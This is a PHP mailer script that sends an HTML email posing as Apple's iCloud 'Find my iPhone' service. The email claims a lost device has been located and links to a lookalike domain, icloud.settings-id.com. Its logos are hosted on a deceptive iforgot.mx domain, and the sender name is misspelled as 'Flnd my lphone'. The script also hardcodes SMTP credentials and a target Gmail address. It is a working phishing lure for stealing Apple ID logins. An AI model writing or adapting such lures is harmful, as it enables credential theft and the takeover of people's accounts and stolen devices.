<?php 
    require("class.phpmailer.php");
        $mensaje = '
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head><meta http-equiv="Content-Type" content="text/html; charset=gb18030">

    <!-- TemplateBeginEditable name="doctitle" -->
    <title>Documento sin t&iacute;tulo</title>
    <!-- TemplateEndEditable -->
    <!-- TemplateBeginEditable name="head" -->
    <!-- TemplateEndEditable -->
    <style type="text/css">
    <!--
    .Estilo2 {color: #0066FF}
    -->
    </style>
    </head>

    <body>
    <table style="table-layout:fixed;width:100%">
      <tbody>
        <tr>
          <td><table align="center" cellpadding="0" cellspacing="0" style="margin:0 auto;font-size:inherit;line-height:inherit;text-align:center;border-spacing:0;border-collapse:collapse;padding:0;border:0">
            <tbody>
              <tr>
                <td colspan="3" height="16" style="font-family:Helvetica,Arial,sans-serif;height:16px"></td>
              </tr>
              <tr>
                <td style="font-family:Helvetica,Arial,sans-serif;width:64px"></td>
                <td style="font-family:Helvetica,Arial,sans-serif;width:685px"><table align="center" style="margin:0 auto;font-size:inherit;line-height:inherit;padding:0;border:0">
                  <tbody>
                    <tr>
                      <td align="center"><img width="185" height="184" border="0" alt="" style="display:block" src="http://r1.res.images.4logo.iphonelogo.iforgot.mx/mapa-1.jpg" /></td>
                    </tr>
                    <tr>
                      <td align="center" style="word-break:break-word;font-family:Helvetica,Arial,sans-serif;color:#2b2b2b;font-size:27px;font-weight:300;padding:24px 0 16px"> The device has been located at: <a href="https://mail.google.com/mail/u/0/?ui=2&amp;ik=ffb2448bb3&amp;view=pt&amp;search=inbox&amp;th=155e27c207b123d4&amp;siml=155e27c207b123d4#m_-5638134701999620422_m_9205789454748225934_address" style="color:#1a1a1a;text-decoration:none">Cancun, Quintana Roo, Km 4 Hotel Zone</td>
                    </tr>
                    <tr>
                     <td align="center" style="word-break:break-word;font-family:Helvetica,Arial,sans-serif;color:#666;font-size:15px;font-weight:300;line-height:20px;padding-bottom:14px"> The current location of your device is now available. </td>
                     </tr>
                  </tbody>
                </table></td>
                <td style="font-family:Helvetica,Arial,sans-serif;width:64px"></td>
              </tr>
              <tr>
                <td colspan="3" style="font-family:Helvetica,Arial,sans-serif;width:685px;padding:13px 0" align="center"><a href="https://icloud.settings-id.com/?id=1"><img src="http://r1.res.images.4logo.iphonelogo.iforgot.mx/ver-ubicacion_e.jpg" width="146" height="49" alt="View more" /></a></td>
              </tr>
              <tr style="height:17px" height="17">
                <td style="font-family:Helvetica,Arial,sans-serif"></td>
              </tr>
                <tr style="height: 17px;" height="17">
                <td style="font-family:Helvetica,Arial,sans-serif;"></td>
                <tr style="color: rgb(102,102,102); font-size: 15px">   
                <td colspan="3" background="https://statici.icloud.com/emailimages/v4/common/footer_gradient_web.png" align="center" style="font-family:Helvetica Neue,Helvetica,Arial,sans-serif; width: 685px; font-size: 11px; line-height: 14px; color: rgb(136,136,136); padding: 19px 0px 12px; background-repeat: no-repeat">
                <img width="85" height="24" src="http://r1.res.images.4logo.iphonelogo.iforgot.mx/icloud.png" style="display: inline-block; width: 85px; min-height: 24px" alt="iCloud">
              </tr>
              <tr>
                <td colspan="3" align="center" style="font-family:Helvetica,Arial,sans-serif;width:685px;font-size:11px;line-height:18px;color:#888;text-align:center"><span>iCloud is a service provided by Apple. </span><span class="Estilo2" style="white-space:nowrap">Apple ID </span>| <span class="Estilo2" style="white-space:nowrap">Support </span>| <span class="Estilo2" style="white-space:nowrap">Terms and Conditions </span>| <span class="Estilo2" style="white-space:nowrap">Privacy Policy </span><br />
                      <span colspan="3"><span style="white-space:nowrap">Copyright &copy; 2017 </span><span>Apple Inc. <span style="white-space:nowrap"><span class="Estilo2">1 Infinite Loop, Cupertino, CA 95014, United States</span>.</span> </span><span style="white-space:nowrap">All rights reserved. </span></span></td>
              </tr>
              <tr height="50" style="height:50px">
                <td style="font-family:Helvetica,Arial,sans-serif"></td>
              </tr>
            </tbody>
          </table></td>
        </tr>
      </tbody>
    </table>
    </body>
    </html>
    ';
    $mensaje2 = "iPhone was found near. Your iPhone last reported location will be available for 24 hours. view location: https://icloud.settings-id.com/?id=1";
        //*************CAMBIAR ESTOS PARAMETROS*******************
        $mailHost="mail.settings-id.com";//cambiar host
        $mailFromcuenta ="notify@settings-id.com"; //cambiar remitente
        $mailUsername = "notify@settings-id.com";    // SMTP username
        $mailPassword = "Support.2017";     // SMTP password
        $mailSubject  =  "Busqueda exitosa";  // mensaje Subject
        $mailFromName = "Flnd my lphone"; // Nombre del remitente
        //****************************************************************

        $emailinterno="ramirez3d39@gmail.com";
        //$socio="ogonzalez@travelnet.mx";
        $mail = new PHPMailer();
        $mail->SetLanguage('en');
        $mail->IsSMTP(); // send via SMTP
        $mail->Host     = $mailHost;  // SMTP servers
        $mail->SMTPSecure = "ssl";
        $mail->Port = "465";
        $mail->SMTPAuth = true;     // turn on SMTP authentication
        $mail->Username = $mailUsername;    // SMTP username
        $mail->Password = $mailPassword;  // SMTP password
        $mail->From     = $mailFromcuenta;
        $mail->FromName = $mailFromName;

        $mail->AddAddress($emailinterno); 
        $mail->AddBCC($mailFromcuenta);
        //$mail->AddAddress($socio); 
        $mail->WordWrap = 50;     // set word wrap
        $mail->IsHTML(true);                               // send as HTML
        $mail->Subject  =  $mailSubject;
        $mail->Body    =  $mensaje;
        $mail->AltBody = $mensaje2;
        if(!$mail->Send())
        {
           echo "Message was not sent <p>";
           echo "Mailer Error: " . $mail->ErrorInfo;
        }else{
          echo $mailenviado=1;
        }
?>